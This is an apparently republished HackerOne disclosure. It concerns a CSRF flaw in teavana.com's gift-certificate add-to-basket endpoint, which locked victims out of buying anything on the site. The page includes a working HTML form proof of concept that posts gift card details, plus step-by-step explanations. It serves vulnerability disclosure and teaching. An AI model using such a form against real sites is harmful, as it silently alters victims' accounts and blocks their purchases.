Skip to content
CSRF Disclosed report Beginner

Persistent CSRF in /GiftCert-AddToBasket prevents purchases on eCommerce sites

The gift certificate add-to-basket endpoint on teavana.com lacked CSRF protection, so a malicious page could silently add a gift card to a victim's cart. Once that item was in the cart, the credit card payment option disappeared and the cart could not be emptied, permanently preventing the victim from completing any purchase.

inhibitor181 Follow

Originally disclosed on HackerOne

  • Triaged in 12 hours
  • Fixed in 3 months
  • Paid in 9 days
  • Disclosed after 3 months

SUMMARY

Hello, I have found an extremely interesting issue that can be used to permanently lock a user's possibility of ever buying anything from teavana.com by removing the credit card payment method.

POC

CSRF snippet

<html>
	<head></head>
	<body>
		<form method="POST" id="GiftCertificateForm" action="http://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/GiftCert-AddToBasket">
			<input class="textinput" id="dwfrm_giftcert_purchase_from" type="text" name="dwfrm_giftcert_purchase_from" value="Test whatever" maxlength="2147483647">
			<input class="textinput" id="dwfrm_giftcert_purchase_recipient" type="text" name="dwfrm_giftcert_purchase_recipient" value="Test whhhateever" maxlength="2147483647">
			<input class="textinput" id="dwfrm_giftcert_purchase_recipientEmail" type="text" name="dwfrm_giftcert_purchase_recipientEmail" value="[email protected]" maxlength="2147483647">
			<input class="textinput" id="dwfrm_giftcert_purchase_confirmRecipientEmail" type="text" name="dwfrm_giftcert_purchase_confirmRecipientEmail" value="[email protected]" maxlength="2147483647">
			<textarea class="textbox" id="dwfrm_giftcert_purchase_message" name="dwfrm_giftcert_purchase_message" rows="5" cols="50">Bla bla</textarea>
			<input class="textinput" id="dwfrm_giftcert_purchase_amount" type="text" name="dwfrm_giftcert_purchase_amount" value="100" maxlength="2147483647">
			<input type="submit" value="Send" />
		</form>
	</body>
</html>

DESCRIPTION

So, I just wanted to find demandware.store hidden links and in my search I stumbled across

http://www.teavana.com/on/demandware.store/Sites-Teavana-Site/default/GiftCert-Purchase

From here, one can add custom gift cards in cart with a value between 5 and 5000 euros (or something like that). I have noticed that this is not CSRF protected, but this was a minor issue. Well, it became a serious problem after I noticed that after adding that gift card in my card, I wasn't able to fully empty my cart anymore and the credit card option was simply not available anymore and I wasn't able to fulfill any orders. Logging out and in doesn't do anything. Deleting cart product doesn't do anything. And because I tested teavana for some time, I know for a fact that the items in cart stay in cart (even after weeks).

So, I have made a new account, added the CSRF POC in a script then tested the flow and it worked. I have made my account unable to buy anything by adding that gift card in cart.

IMPACT

Permanently denying a user the possibility to fulfill with his account any orders is a very big issue (hence the High severity I personally find) and if someone launched an attack against you, you will lose customers and money (not to mention the potentially negative publicity)

Video POC attached.

The original report as published on HackerOne, by inhibitor181. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the gift certificate add-to-basket action accepted cross-site POST requests without a CSRF token, and the resulting cart state could not be recovered by the user.

Impact

A victim could be permanently unable to place any orders on the site, which could cost the business customers and money.

What the attacker needed

Victim is logged in; victim visits attacker page

How it was found

  1. Find the gift certificate purchase page on the site.
  2. Notice the add-to-basket endpoint accepts a POST without CSRF protection.
  3. Build an HTML form that posts gift card details to that endpoint.
  4. Load the form in a logged-in victim's browser so the gift card is added to their cart.
  5. Observe that the cart can no longer be emptied and the credit card option is gone.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A CSRF attack tricks a logged-in user's browser into sending a request to a site the user trusts, without the user meaning to. Here, a page the attacker controls could quietly add a gift card to the victim's shopping cart. The site then got stuck: the cart could not be cleared and the card payment option vanished, so the victim could never buy anything again.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by inhibitor181

View all

10 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.